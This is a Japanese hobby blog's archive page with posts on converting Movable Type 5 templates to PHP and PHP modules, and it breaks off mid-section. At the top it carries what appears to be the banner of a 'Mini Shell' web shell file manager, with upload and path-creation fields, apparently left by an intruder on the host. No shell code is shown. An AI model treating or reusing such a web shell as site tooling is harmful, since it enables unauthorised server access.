%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /home/rappan/www/blog/blog/mt50/custom/php/
Upload File :
Create Path :
Current File : /home/rappan/www/blog/blog/mt50/custom/php/index.php

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" lang="ja" xml:lang="ja" id="sixapart-standard">
<head>
   <meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
   <meta http-equiv="Content-Script-Type" content="text/javascript" />
   <meta http-equiv="Content-Style-Type" content="text/css" />
   <meta name="generator" content="Movable Type Pro 5.12" />
   <link rel="stylesheet" href="http://rappan.sakura.ne.jp/blog/styles-site.css" type="text/css" />
   
   
   <title>
   
      
         php化アーカイブ: 道化師ラッパンのボヤキ [年がら年じゅう]
      
   
   </title>
   
   
   
   
   
   
   <script type="text/javascript" src="http://rappan.sakura.ne.jp/blog/mt.js"></script>





   
<script type="text/javascript" src="http://rappan.sakura.ne.jp/blog/menufolder.js" charset="utf-8"></script>
</head>
<body class="layout-three-column">
<div id="main-box">
<div id="box" class="clearfix">

<div id="head">
<div id="header">
<h1 id="blog-name"><a href="http://rappan.sakura.ne.jp/blog/" accesskey="1">道化師ラッパンのボヤキ</a></h1>
<p class="blog-description">年がら年じゅう、寝る間も惜しんで、趣味に没頭するマニアックな日々。
</p>
</div>
<div id="head-navi">
<UL id="under1">
  <LI><A href="http://rappan.sakura.ne.jp/blog/" title="ブログのトップへ">ブログトップ</A>
  <LI><a href="http://rappan.sakura.ne.jp/blog/allentry.php" title="記事一覧へ">記事一覧</A>
  <LI><a href="http://rappan.sakura.ne.jp/blog/tagcloud.php" title="タグ一覧へ">タグクラウド</A>
</UL>
<UL id="under2">
  <LI id="list"><A href="リンク先" title="#">このサイトについて</A>
  <LI><A href="../" title="ホームに戻る">「年がら年じゅう」ホーム</A>
</UL>
</div>
</div>
<div id="head-calendar"><object classid='clsid:d27cdb6e-ae6d-11cf-96b8-444553540000' codebase='http://fpdownload.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=8,0,0,0' width='650' height='22' id='w_calendar300'><param name='allowScriptAccess' value='always' /><param name='movie' value='http://rappan.sakura.ne.jp/blog/w_calendar300.swf?xmlURL=http://rappan.sakura.ne.jp/blog/xml/&kc=4&fC=3b0077&eC=ff7f00&tC=dd0000&tp=0&mf=2&link=1&tg=1' /><param name='quality' value='high' /><param name='wmode' value='transparent' /><param name='bgcolor' value='#cccccc' /><embed src='http://rappan.sakura.ne.jp/blog/w_calendar300.swf?xmlURL=http://rappan.sakura.ne.jp/blog/xml/&kc=4&fC=3b0077&eC=ff7f00&tC=dd0000&tp=0&mf=2&link=1&tg=1' quality='high' wmode='transparent' bgcolor='#cccccc' width='650' height='22' name='w_calendar300' allowScriptAccess='always' type='application/x-shockwave-flash' pluginspage='http://www.macromedia.com/go/getflashplayer' /></object></div>


  
<div id="links-left-box">
  <dl id="links-left">
<dt class="sidetitle">
Categories
</dt>

<dd class="side" id="categories">


<ul class="tree">

<li class="tree"><div class="subcategories" id="subcategories28name">水槽</div>


<div id="subcategories28list"><ul class="tree">

<li class="tree"><a href="http://rappan.sakura.ne.jp/blog/aqua/arua2/" title="12">水槽全体</a> [6]



</li>




<li class="tree"><a href="http://rappan.sakura.ne.jp/blog/aqua/abeni/" title="21">アベニーパファ</a> [39]



</li>




<li class="tree"><a href="http://rappan.sakura.ne.jp/blog/aqua/otosin/" title="22">オトシン</a> [12]



</li>




<li class="tree"><a href="http://rappan.sakura.ne.jp/blog/aqua/numaebi/" title="29">ヌマエビ</a> [5]



</li>




<li class="tree"><a href="http://rappan.sakura.ne.jp/blog/aqua/mizukusa/" title="20">水草</a> [18]



</li>




<li class="tree"><a href="http://rappan.sakura.ne.jp/blog/aqua/terra/" title="44">テラリウム</a> [5]



</li>




<li class="tree_end"><a href="http://rappan.sakura.ne.jp/blog/aqua/etc/" title="35">その他</a> [1]



</li>
</ul></div>

</li>




<li class="tree"><div class="subcategories" id="subcategories40name">食虫植物</div>


<div id="subcategories40list"><ul class="tree">

<li class="tree"><a href="http://rappan.sakura.ne.jp/blog/cp/dionaea/" title="41">ハエトリソウ</a> [46]



</li>




<li class="tree"><a href="http://rappan.sakura.ne.jp/blog/cp/sarra/" title="42">サラセニア</a> [4]



</li>




<li class="tree"><a href="http://rappan.sakura.ne.jp/blog/cp/utri/" title="43">ウトリキュラリア</a> [3]



</li>




<li class="tree"><a href="http://rappan.sakura.ne.jp/blog/cp/cephalotus/" title="50">セファロタス</a> [1]



</li>




<li class="tree"><a href="http://rappan.sakura.ne.jp/blog/cp/import/" title="52">輸入</a> [13]



</li>




<li class="tree"><a href="http://rappan.sakura.ne.jp/blog/cp/planter/" title="49">プランター台</a> [4]



</li>




<li class="tree_end"><a href="http://rappan.sakura.ne.jp/blog/cp/transplant/" title="51">植え替え</a> [3]



</li>
</ul></div>

</li>




<li class="tree"><div class="subcategories" id="subcategories23name">日々の出来事</div>


<div id="subcategories23list"><ul class="tree">

<li class="tree"><div class="subcategories" id="subcategories24name">お出かけ</div>


<div id="subcategories24list"><ul class="tree">

<li class="tree"><a href="http://rappan.sakura.ne.jp/blog/diary/odekake/nara/" title="55">奈良県</a> [1]



</li>




<li class="tree_end"><a href="http://rappan.sakura.ne.jp/blog/diary/odekake/hyogo/" title="10">兵庫県</a> [5]



</li>
</ul></div>

</li>




<li class="tree"><a href="http://rappan.sakura.ne.jp/blog/diary/diary2/" title="15">ただの日記</a> [6]



</li>




<li class="tree"><a href="http://rappan.sakura.ne.jp/blog/diary/nande/" title="26">ちょいとツッコミ</a> [3]



</li>




<li class="tree"><a href="http://rappan.sakura.ne.jp/blog/diary/pc/" title="13">パソコン</a> [2]



</li>




<li class="tree"><a href="http://rappan.sakura.ne.jp/blog/diary/auction/" title="8">オークション</a> [2]



</li>




<li class="tree"><div class="subcategories" id="subcategories25name">メモ</div>


<div id="subcategories25list"><ul class="tree">

<li class="tree_end"><a href="http://rappan.sakura.ne.jp/blog/diary/memo/clover/" title="19">クローバー</a> [1]



</li>
</ul></div>

</li>




<li class="tree_end"><a href="http://rappan.sakura.ne.jp/blog/diary/conveni/" title="53">コンビニ</a> [1]



</li>
</ul></div>

</li>




<li class="tree_end"><div class="subcategories" id="subcategories30name">ブログ</div>


<div id="subcategories30list"><ul class="tree">

<li class="tree"><div class="subcategories" id="subcategories31name">MT5</div>


<div id="subcategories31list"><ul class="tree">

<li class="tree"><div class="subcategories" id="subcategories32name">カスタマイズ</div>


<div id="subcategories32list"><ul class="tree">

<li class="tree"><a href="http://rappan.sakura.ne.jp/blog/blog/mt50/custom/php/" title="7">php化</a> [4]



</li>




<li class="tree"><a href="http://rappan.sakura.ne.jp/blog/blog/mt50/custom/side/" title="9">サイドメニュー</a> [4]



</li>




<li class="tree"><a href="http://rappan.sakura.ne.jp/blog/blog/mt50/custom/theme/" title="2">テーマ</a> [9]



</li>




<li class="tree"><a href="http://rappan.sakura.ne.jp/blog/blog/mt50/custom/parts/" title="3">ブログパーツ</a> [1]



</li>




<li class="tree_end"><a href="http://rappan.sakura.ne.jp/blog/blog/mt50/custom/page2/" title="33">ページ構成</a> [9]



</li>
</ul></div>

</li>




<li class="tree_end"><div class="subcategories" id="subcategories34name">プラグイン</div>


<div id="subcategories34list"><ul class="tree">

<li class="tree"><a href="http://rappan.sakura.ne.jp/blog/blog/mt50/plugin2/consti/" title="54">構成系</a> [4]



</li>




<li class="tree"><a href="http://rappan.sakura.ne.jp/blog/blog/mt50/plugin2/image/" title="4">画像系</a> [2]



</li>




<li class="tree"><a href="http://rappan.sakura.ne.jp/blog/blog/mt50/plugin2/edit/" title="6">編集系</a> [4]



</li>




<li class="tree_end"><a href="http://rappan.sakura.ne.jp/blog/blog/mt50/plugin2/entry/" title="11">記事系</a> [3]



</li>
</ul></div>

</li>
</ul></div>

</li>




<li class="tree"><div class="subcategories" id="subcategories36name">MT3.2</div>


<div id="subcategories36list"><ul class="tree">

<li class="tree"><a href="http://rappan.sakura.ne.jp/blog/blog/mt32/page/" title="5">ページ構成</a> [13]



</li>




<li class="tree"><a href="http://rappan.sakura.ne.jp/blog/blog/mt32/plugin/" title="17">プラグイン</a> [3]



</li>




<li class="tree"><a href="http://rappan.sakura.ne.jp/blog/blog/mt32/css/" title="18">スタイルシート</a> [9]



</li>




<li class="tree_end"><a href="http://rappan.sakura.ne.jp/blog/blog/mt32/memomemo/" title="16">覚書</a> [2]



</li>
</ul></div>

</li>




<li class="tree"><a href="http://rappan.sakura.ne.jp/blog/blog/tool/" title="14">ツール</a> [2]



</li>




<li class="tree"><a href="http://rappan.sakura.ne.jp/blog/blog/up/" title="1">バージョンアップ</a> [4]



</li>




<li class="tree_end"><a href="http://rappan.sakura.ne.jp/blog/blog/iko/" title="37">移行</a> [3]



</li>
</ul></div>

</li>
</ul>

 
<script type="text/javascript">
<!--

FoldNavigation('subcategories28','initState',true);























FoldNavigation('subcategories40','initState',true);























FoldNavigation('subcategories23','initState',true);

FoldNavigation('subcategories24','initState',true);




















FoldNavigation('subcategories25','initState',true);









FoldNavigation('subcategories30','initState',true);

FoldNavigation('subcategories31','initState',true);

FoldNavigation('subcategories32','initState',true);

















FoldNavigation('subcategories34','initState',true);















FoldNavigation('subcategories36','initState',true);
























//-->
</script>

</dd>

<dt class="sidetitle">
Recent Comments
</dt>



  
  
    
    
  
    
    
  
    
    
  
    
    
  



<dt class="sidetitle">
Recent Entries
</dt>

<dd class="side">
  <ul>

    <li><a href="http://rappan.sakura.ne.jp/blog/2010/03/11-122242.php" title="e16">PHPモジュール化(その2)[MT5]</a></li>

    <li><a href="http://rappan.sakura.ne.jp/blog/2010/03/08-171348.php" title="e14">PHPモジュール化(その1)[MT5]</a></li>

    <li><a href="http://rappan.sakura.ne.jp/blog/2010/03/08-140904.php" title="e13">MovableType5のPHP化[MT5]</a></li>

    <li><a href="http://rappan.sakura.ne.jp/blog/2010/03/04-132649.php" title="e11">通常のモジュール化[MT5]</a></li>

  </ul>
</dd>
<dt class="sidetitle">
Recent Trackbacks
</dt>


<dd class="side">

</dd>



    
  </dl>
</div>
  


<div id="content">
<div class="blog">

<div class="content-nav">
    
    <a href="http://rappan.sakura.ne.jp/blog/">Main</a>
    
    | <a href="http://rappan.sakura.ne.jp/blog/blog/mt50/custom/side/">サイドメニュー &raquo;</a>
    
</div>


   
   
      <!--
<rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"
         xmlns:trackback="http://madskills.com/public/xml/rss/module/trackback/"
         xmlns:dc="http://purl.org/dc/elements/1.1/">
<rdf:Description
    rdf:about="http://rappan.sakura.ne.jp/blog/blog/mt50/custom/php/index.php#entry-000016"
    trackback:ping="http://rappan.sakura.ne.jp/mt/mt-tb.cgi/16"
    dc:title="PHPモジュール化(その2)[MT5]"
    dc:identifier="http://rappan.sakura.ne.jp/blog/blog/mt50/custom/php/index.php#entry-000016"
    dc:subject="php化"
    dc:description=" 	テンプレートモジュールやシステムテンプレートもPHPモジュール化してみようと..."
    dc:creator="ラッパン"
    dc:date="2010-03-11T12:22:42+09:00" />
</rdf:RDF>
-->

      <div class="entry-box">

<h2 id="a000016" class="entry-header"><a href="http://rappan.sakura.ne.jp/blog/2010/03/11-122242.php">PHPモジュール化(その2)[MT5]</a></h2>

   <div class="title-img"><img src="http://rappan.sakura.ne.jp/blog/titleimg/img06.gif"></div>
   <div class="entry-title">
      <div class="space">
      </div>
      
      <p class="date">2010年3月11日</p>
      
   </div>

<div class="entry">

   <div class="entry-content clearfix">
      
         <p>
	テンプレートモジュールやシステムテンプレートもPHPモジュール化してみようと思いまして。<img alt="shine" height="16" src="http://rappan.sakura.ne.jp/mt/mt-static/plugins/CKEditor/ckeditor/plugins/mobilepictogram/images/shine.gif" title="shine" width="16" /></p>
<p>
	基本的には、ウィジェットのPHPモジュール化のときと同じ要領でした。ただ、入れ子の構造になってるのと、モジュールを読み込む記述を各アーカイブにしなくてはならない部分に注意です。<img alt="wink" height="16" src="http://rappan.sakura.ne.jp/mt/mt-static/plugins/CKEditor/ckeditor/plugins/mobilepictogram/images/wink.gif" title="wink" width="16" /></p>
<p>
	&nbsp;</p>
<h4>
	テンプレートモジュールをPHPモジュール化</h4>
<p>
	1)今回いじっていこうと思った<strong>テンプレートモジュール</strong>は次の4つ。バナーフッター以外は、ソースの中にreadfileの記述がある入れ子構造になってます。解説はバナーヘッダーを例に。</p>
<ul>
	<li>
		バナーヘッダー</li>
	<li>
		バナーフッター</li>
	<li>
		サイドバー</li>
	<li>
		サイドバー2</li>
</ul>
<p>
	2)うちのサイトの場合、ヘッダーには<strong>ナビゲーションリンク</strong>と<strong>カレンダー</strong>があります。で、デザイン>テンプレートをクリックして、&nbsp;テンプレートモジュールにある「<strong>バナーヘッダー</strong>」をクリック。表示されたソースの内容をメモ帳にコピー。</p>
<p>
	3)デザイン>テンプレートをクリック。インデックステンプレートの下にある「<strong>インデックステンプレートの作成</strong>」をクリック。下記のように記述して保存。内容に関しては、メモ帳にコピーしたソースの中で各該当のある部分だけを記述。</p>
<pre>
<code>テンプレートの名前:mm-ナビゲーション
内容:メモ帳に貼り付けたソースから該当記述部分のみをコピー
出力ファイル名:mm-navi.html</code></pre>
<pre>
<code>テンプレートの名前:mm-カレンダー
内容:メモ帳に貼り付けたソースから該当記述部分のみをコピー
出力ファイル名:mm-calendar.html</code></pre>
<p>
	3)メモ帳のソースの中で、ナビゲーションリンクとカレンダーの記述部分を、以下のように書き換え。</p>
<pre>
<code>&rarr; &lt;?php readfile(&quot;&lt;$mt:BlogSitePath$&gt;mm-navi.html&quot;); ?&gt;
&rarr; &lt;?php readfile(&quot;&lt;$mt:BlogSitePath$&gt;mm-calendar.html&quot;); ?&gt;</code></pre>
<p>
	4)デザイン>テンプレートをクリック。インデックステンプレートの下にある「<strong>インデックステンプレートの作成</strong>」をクリック。下記のように記述して保存。内容に関しては、3)で書き換えたソースを記述。</p>
<pre>
<code>テンプレートの名前:m-バナーヘッダー
内容:3)の記述が埋め込まれたヘッダーのソース
出力ファイル名:m-header.php</code></pre>
<p>
	5)後は、<strong>メインページ</strong>のソースの該当部分を下記のように変更して再構築。うまいこと表示されたのを確認したら、カテゴリ別ブログ記事リスト,ブログ記事,月別ブログ記事リストの3つも同じように変更する。</p>
<pre>
<code>&lt;$mt:Include module=&quot;バナーヘッダー&quot;$&gt;
&darr;
&lt;?php include(&quot;&lt;$mt:BlogSitePath$&gt;m-header.php&quot;); ?&gt;</code></pre>
<p>
	サイドバーやサイドバー2については、こんなに大変なことはしなくてええんやけど、すでにウィジェットが埋め込まれている記述がされてるので、同じようにphpで保存し、includeで挿入させました。<img alt="catface" height="16" src="http://rappan.sakura.ne.jp/mt/mt-static/plugins/CKEditor/ckeditor/plugins/mobilepictogram/images/catface.gif" title="catface" width="16" /></p>
<p>
	ところで、コメントとトラックバックは何度やってもエラーが出てうまくいかんかったわ・・・。<img alt="sweat01" height="16" src="http://rappan.sakura.ne.jp/mt/mt-static/plugins/CKEditor/ckeditor/plugins/mobilepictogram/images/sweat01.gif" title="sweat01" width="16" /></p>
<p>
	&nbsp;</p>
<h4>
	検索結果とPHP化</h4>
<p>
	あとは何が残ってるかな・・・といじってたら、<strong>検索結果のページ</strong>だけ反映されてない。</p>
<p>
	ああ、忘れてたと思い、上記のモジュールを埋め込んでいって確認したら、あら?おかしなことになってる・・・。</p>
<p>
	これ、このシステムテンプレートって、<strong>cgi</strong>で動いてたんな・・・。色々やってみたけど、ソースは本(レッスンブック)でいじってしまってるのが原因なのかうまいこといかん。</p>
<p>
	で、検索結果以外で、コメントプレビューなんかもいじらなアカンっぽいけど、本で簡略化したソースに書き換えてしまってるので、結局は、「検索結果」のみをどうにかすればよいということであった。</p>
<p>
	で、下記のサイトを見つけました。<img alt="shine" height="16" src="http://rappan.sakura.ne.jp/mt/mt-static/plugins/CKEditor/ckeditor/plugins/mobilepictogram/images/shine.gif" title="shine" width="16" /></p>
<blockquote>
	<p>
		[参考サイト]</p>
	<p>
		<a href="http://www.h-fj.com/blog/archives/2005/09/17-085829.php" target="_blank">The blog of H.Fujimoto&gt;&gt;コメント/検索関連テンプレートのPHP化(その2)</a></p>
</blockquote>
<p>
	&nbsp;</p>
<p>
	1)<a href="http://www.h-fj.com/blog/archives/2005/09/16-161205.php" target="_blank">こちらのページ</a>から、mt-phpincgi.txtの内容をメモ帳にコピーして<strong>mt-phpincgi.php</strong>で保存。そして、MovableTypeをインストールしたフォルダにUP。</p>
<p>
	2)MovableTypeをインストールしたフォルダの中に、<strong>cgitmp</strong>という名前でフォルダを作ります。パーミッションを<strong>707</strong>に設定。</p>
<p>
	3)デザイン>ウィジェットをクリック。ウィジェットテンプレートの中の「<strong>検索</strong>」をクリック。<strong>formタグのaction部分</strong>を下記のように書き換え。</p>
<pre>
<code>action=&quot;&lt;$MTCGIPath$&gt;&lt;$MTSearchScript$&gt;&quot;
&rarr; action=&quot;&lt;$MTCGIPath$&gt;mt-phpincgi.php&quot;</code></pre>
<p>
	4)そのformタグの後に次のタグを追加で書き足し。(2段になってるけど1行で。)</p>
<pre>
<code>&lt;input type=&quot;hidden&quot; name=&quot;requrl&quot; value=&quot;
&lt;$MTCGIPath$&gt;&lt;$MTSearchScript$&gt;&quot; /&gt;</code></pre>
<p>
	5)あとは、システムテンプレートの「検索結果」に、readfileやincludeで今までのように読み込むような記述をして再構築で完成。</p>

      
      

      
         <div class="entry-tags">
   <h3 class="entry-tags-header">タグ:</h3>
   <ul class="entry-tags-list">
   
      <li class="entry-tag"><a href="http://rappan.sakura.ne.jp/mt/mt-search.cgi?IncludeBlogs=2&amp;tag=%E3%83%A2%E3%82%B8%E3%83%A5%E3%83%BC%E3%83%AB&amp;limit=20&amp;IncludeBlogs=2" rel="tag">モジュール</a></li>
   
   </ul>
</div>


      

   </div>
   <p class="entry-footer">

<a href="http://rappan.sakura.ne.jp/blog/2010/03/11-122242.php">Permalink</a>

| 

Category : <a href="http://rappan.sakura.ne.jp/blog/blog/mt50/custom/php/" title="">php化</a>



 | 


<a href="http://rappan.sakura.ne.jp/blog/2010/03/11-122242.php#comments" title="comments16">Comments</a> [0]

 | 

<a href="http://rappan.sakura.ne.jp/blog/2010/03/11-122242.php#trackbacks" title="trackbacks16">Trackbacks</a> [0]

</p>

</div>
</div>
      
   
      <!--
<rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"
         xmlns:trackback="http://madskills.com/public/xml/rss/module/trackback/"
         xmlns:dc="http://purl.org/dc/elements/1.1/">
<rdf:Description
    rdf:about="http://rappan.sakura.ne.jp/blog/blog/mt50/custom/php/index.php#entry-000014"
    trackback:ping="http://rappan.sakura.ne.jp/mt/mt-tb.cgi/14"
    dc:title="PHPモジュール化(その1)[MT5]"
    dc:identifier="http://rappan.sakura.ne.jp/blog/blog/mt50/custom/php/index.php#entry-000014"
    dc:subject="php化"
    dc:description=" 	続いて・・・PHPモジュール化です。 	以下のサイトを参考にさせていただきま..."
    dc:creator="ラッパン"
    dc:date="2010-03-08T17:13:48+09:00" />
</rdf:RDF>
-->

      <div class="entry-box">

<h2 id="a000014" class="entry-header"><a href="http://rappan.sakura.ne.jp/blog/2010/03/08-171348.php">PHPモジュール化(その1)[MT5]</a></h2>

   <div class="title-img"><img src="http://rappan.sakura.ne.jp/blog/titleimg/img08.gif"></div>
   <div class="entry-title">
      <div class="space">
      </div>
      
      <p class="date">2010年3月 8日</p>
      
   </div>

<div class="entry">

   <div class="entry-content clearfix">
      
         <p>
	続いて・・・PHPモジュール化です。</p>
<p>
	以下のサイトを参考にさせていただきました。</p>
<blockquote>
	<p>
		[参考サイト]</p>
	<ul>
		<li>
			<a href="http://www.koikikukan.com/archives/2009/07/17-015555.php" target="_blank">小粋空間&gt;&gt;Movable Type 4 の PHP モジュール化</a></li>
		<li>
			<a href="http://www.okanos.com/webokanos/2010/01/032653.php" target="_blank">OKANOs&gt;&gt;MovableTyoe のPHP化とモジュール化(さくらサーバ版)</a></li>
		<li>
			<a href="http://www.15ya.net/15ya/2009/05/18-122022.php" target="_blank">十五夜お月様&gt;&gt;PHPモジュール化!ブログ記事部分を外部ファイルにする</a></li>
	</ul>
</blockquote>
<p>
	&nbsp;</p>
<h4>
	何をモジュール化するか</h4>
<p>
	ようは、変更が頻繁に行われるような箇所を取り出してモジュール化するといいみたいです。このサイトでいうと・・・</p>
<p style="margin-left: 40px">
	「ウィジェット」は4個</p>
<ul>
	<li style="margin-left: 40px">
		カテゴリアーカイブ</li>
	<li style="margin-left: 40px">
		月別アーカイブ</li>
	<li style="margin-left: 40px">
		最近のブログ記事</li>
	<li style="margin-left: 40px">
		タグクラウド</li>
</ul>
<p style="margin-left: 40px">
	「エントリー」</p>
<p>
	こんなもんかなぁ・・・。うまくいきますように。<img alt="happy02" height="16" src="http://rappan.sakura.ne.jp/mt/mt-static/plugins/CKEditor/ckeditor/plugins/mobilepictogram/images/happy02.gif" title="happy02" width="16" /></p>
<p>
	&nbsp;</p>
<h4>
	ウィジェットのモジュール化</h4>
<p>
	前にも書いたように、うちのサイトの場合、ウィジェットマネージャーたるものが使えなくてサイドバーに直接記述してあるんですわ。</p>
<p>
	では早速・・・「カテゴリアーカイブ」を例に。</p>
<p>
	1)デザイン>ウィジェットをクリック。ウィジェットテンプレートの「<strong>カテゴリアーカイブ</strong>」をクリック。記述されているソースをコピーして、メモ帳に貼り付け。</p>
<p>
	2)デザイン>テンプレートをクリック。テンプレートモジュールの「<strong>サイドバー</strong>」をクリック。下記のように書き換えて、変更を保存。</p>
<pre>
<code>&lt;$mt:Include widget=&quot;カテゴリアーカイブ&quot;$&gt;
&darr;
&lt;?php readfile(&quot;&lt;$mt:BlogSitePath$&gt;<span style="color: #00f">w-categories.html</span>&quot;); ?&gt;</code></pre>
<p>
	この場合は<strong>w-categories.html</strong>という名のファイルを読み込むように記述。</p>
<p>
	3)デザイン>テンプレートをクリック。インデックステンプレートの下にある「<strong>インデックステンプレートの作成</strong>」をクリック。下記のように記述して保存。</p>
<blockquote>
	<p>
		テンプレートの名前:w-カテゴリアーカイブ</p>
	<p>
		内容:メモ帳に貼り付けたソースをコピー</p>
	<p>
		出力ファイル名:w-categories.html</p>
</blockquote>
<p>
	出力ファイル名は、2)で設定した青字のファイル名と同一にすること。</p>
<p>
	4)再構築して確認する。</p>
<p>
	5)同じようにして、残り3つもPHPモジュール化。以下のような名前付けました。</p>
<blockquote>
	<p>
		月別アーカイブ:w-monthly.html</p>
	<p>
		最近のブログ記事:w-recent_entries.html</p>
	<p>
		タグクラウド:w-tagcloud.html</p>
</blockquote>
<p>
	&nbsp;</p>
<h4>
	エントリーのモジュール化</h4>
<p>
	1)デザイン>テンプレートをクリック。アーカイブテンプレートにある、アーカイブテンプレートの作成で「<strong>ブログ記事</strong>」をクリック。下記のように記述して保存。</p>
<blockquote>
	<p>
		テンプレートの名前:エントリー・本文</p>
	<p>
		内容:<code>&lt;$MTEntryBody$&gt;</code></p>
</blockquote>
<p>
	2)同ページで、下部にある「<strong>テンプレートの設定</strong>」をクリック。ビローンと下にのびたら、アーカイブマッピングの下の「<strong>新しいアーカイブマッピングを作成</strong>」をクリック。</p>
<p>
	3)種類:ブログ記事となっている右の「<strong>追加</strong>」をクリック。パスは<strong>カスタマイズ</strong>を選択し、下記のように変更して保存。</p>
<pre>
<code>&rarr; %y/%m/entry%E-body%x</code></pre>
<p>
	4)全体を再構築。</p>
<p>
	5)デザイン>テンプレートをクリック。アーカイブテンプレートに、「<strong>エントリー・本文</strong>」が追加されているか確認。</p>
<p>
	6)インデックステンプレートの「<strong>メインページ</strong>」をクリック。下記を変更して保存(1行で記述)。全体を再構築して確認。</p>
<pre>
<code>&lt;$mt:EntryBody$&gt;
&darr;
&lt;?php include(&#39;&lt;$MTBlogArchiveURL$&gt;&lt;$MTEntryDate format
=&quot;%Y/%m&quot;$&gt;/entry&lt;$MTEntryID$&gt;-body.php&#39;);?&gt;</code></pre>
<p>
	7)うまく表示されたことを確認したら、アーカイブテンプレートの上記の部分も同じように書き換える。</p>
<p>
	このサイトの場合は3つを書き換えた。</p>
<ul>
	<li>
		カテゴリ別ブログ記事リスト</li>
	<li>
		ブログ記事</li>
	<li>
		月別ブログ記事リスト</li>
</ul>
<p>
	<span style="color: #f00">※</span>同じように、<strong>エントリー・追記</strong>もしてください。ワシは、レッスンブックでソースを書き換えてしまっているので、追記自体ができない仕様になってました。まぁ追記を使う機会がないと言えばないから、ええかなと。<img alt="smile" height="16" src="http://rappan.sakura.ne.jp/mt/mt-static/plugins/CKEditor/ckeditor/plugins/mobilepictogram/images/smile.gif" title="smile" width="16" /></p>
<p>
	&nbsp;</p>
<p>
	最後に・・・確かに記事数がまだ少ないのでなんとも言えんが、再構築のスピードは短縮できた気がする。</p>
<p>
	ああそれと、新規で記事を書いた時の「プレビュー」確認ができません。<ins>記事が表示されなくなってしまって</ins>います。ちょっと不便なので、直したいんやけど・・・。<img alt="sweat01" height="16" src="http://rappan.sakura.ne.jp/mt/mt-static/plugins/CKEditor/ckeditor/plugins/mobilepictogram/images/sweat01.gif" title="sweat01" width="16" /></p>

      
      

      
         <div class="entry-tags">
   <h3 class="entry-tags-header">タグ:</h3>
   <ul class="entry-tags-list">
   
      <li class="entry-tag"><a href="http://rappan.sakura.ne.jp/mt/mt-search.cgi?IncludeBlogs=2&amp;tag=%E3%83%A2%E3%82%B8%E3%83%A5%E3%83%BC%E3%83%AB&amp;limit=20&amp;IncludeBlogs=2" rel="tag">モジュール</a></li>
   
   </ul>
</div>


      

   </div>
   <p class="entry-footer">

<a href="http://rappan.sakura.ne.jp/blog/2010/03/08-171348.php">Permalink</a>

| 

Category : <a href="http://rappan.sakura.ne.jp/blog/blog/mt50/custom/php/" title="">php化</a>



 | 


<a href="http://rappan.sakura.ne.jp/blog/2010/03/08-171348.php#comments" title="comments14">Comments</a> [0]

 | 

<a href="http://rappan.sakura.ne.jp/blog/2010/03/08-171348.php#trackbacks" title="trackbacks14">Trackbacks</a> [0]

</p>

</div>
</div>
      
   
      <!--
<rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"
         xmlns:trackback="http://madskills.com/public/xml/rss/module/trackback/"
         xmlns:dc="http://purl.org/dc/elements/1.1/">
<rdf:Description
    rdf:about="http://rappan.sakura.ne.jp/blog/blog/mt50/custom/php/index.php#entry-000013"
    trackback:ping="http://rappan.sakura.ne.jp/mt/mt-tb.cgi/13"
    dc:title="MovableType5のPHP化[MT5]"
    dc:identifier="http://rappan.sakura.ne.jp/blog/blog/mt50/custom/php/index.php#entry-000013"
    dc:subject="php化"
    dc:description=" 	案外、1回始めたら長期まで続けるくせがあって、たぶんこのブログも不定期であれ..."
    dc:creator="ラッパン"
    dc:date="2010-03-08T14:09:04+09:00" />
</rdf:RDF>
-->

      <div class="entry-box">

<h2 id="a000013" class="entry-header"><a href="http://rappan.sakura.ne.jp/blog/2010/03/08-140904.php">MovableType5のPHP化[MT5]</a></h2>

   <div class="title-img"><img src="http://rappan.sakura.ne.jp/blog/titleimg/img02.gif"></div>
   <div class="entry-title">
      <div class="space">
      </div>
      
   </div>

<div class="entry">

   <div class="entry-content clearfix">
      
         <p>
	案外、1回始めたら長期まで続けるくせがあって、たぶんこのブログも不定期であれ、長期に渡って続く可能性がある。まぁそうゆうことで、PHP化と、あとに続くPHPモジュール化を今の内にやっておこうってことです。</p>
<p>
	下記サイトを参考にさせていただきました。説明はバージョン4ですが、5でも同じです。</p>
<blockquote>
	<p>
		[参考サイト]</p>
	<p>
		<a href="http://www.koikikukan.com/archives/2009/07/16-005555.php" target="_blank">&nbsp;小粋空間&gt;&gt;Movable Type 4 の PHP化</a></p>
</blockquote>
<p>
	&nbsp;</p>
<p>
	そもそも<strong>PHP化</strong>や<strong>PHPモジュール化</strong>ってなんですんの?ってことですが・・・再構築の時の時間短縮が目的ですな。<img alt="pig" height="16" src="http://rappan.sakura.ne.jp/mt/mt-static/plugins/CKEditor/ckeditor/plugins/mobilepictogram/images/pig.gif" title="pig" width="16" /></p>
<p>
	しくみは、検索してみて他のサイトの記事を読めばよくわかりますよ。</p>
<p>
	ここでは、もっと簡単に、<span style="font-size: 120%"><strong>おでん</strong></span>を例にあげて説明しますと・・・、</p>
<ol>
	<li>
		6つの窪みがある皿があるとします。注文がくるとその皿におでんをよそわないといけません。1つの窪みに1種類の味が染みた具を入れていきます。</li>
	<li>
		今、ずんどう鍋に6種類の具が混ざって煮込んであります(この状態がデフォルトの状態です)。注文が来たときには、1種類づつ具を探して取り出して確認し、味が染みている具を皿に乗せていきます。取り出すごとに、具の種類と味の染み具合を確認しなければなりません。</li>
	<li>
		時間がかかるので、ずんどう鍋をやめて、四角い薄い鍋に仕切りしたもの(コンビニとかで見かけるあの鍋)を使用することにしました。その仕切りの数は12個あります。内6つの仕切りに具を種類ごとに分けて入れました。</li>
	<li>
		注文が来ると、皿によそう前に、まず各具を確認し味が染みているものだけを取り出し、残った6つの仕切りに移し替えます。それから、皿によそっていきました。</li>
</ol>
<p>
	とまぁ、こんな感じで整理して先に1度作業しといて後の作業を効率よく簡単に済ませよう!ってのがPHP化やPHPモジュール化の醍醐味です。え?食物を例にしたんですが、わかりにくかったですか?<img alt="bearing" height="16" src="http://rappan.sakura.ne.jp/mt/mt-static/plugins/CKEditor/ckeditor/plugins/mobilepictogram/images/bearing.gif" title="bearing" width="16" /></p>
<p>
	&nbsp;</p>
<h4>
	インデックステンプレートのPHP化</h4>
<p>
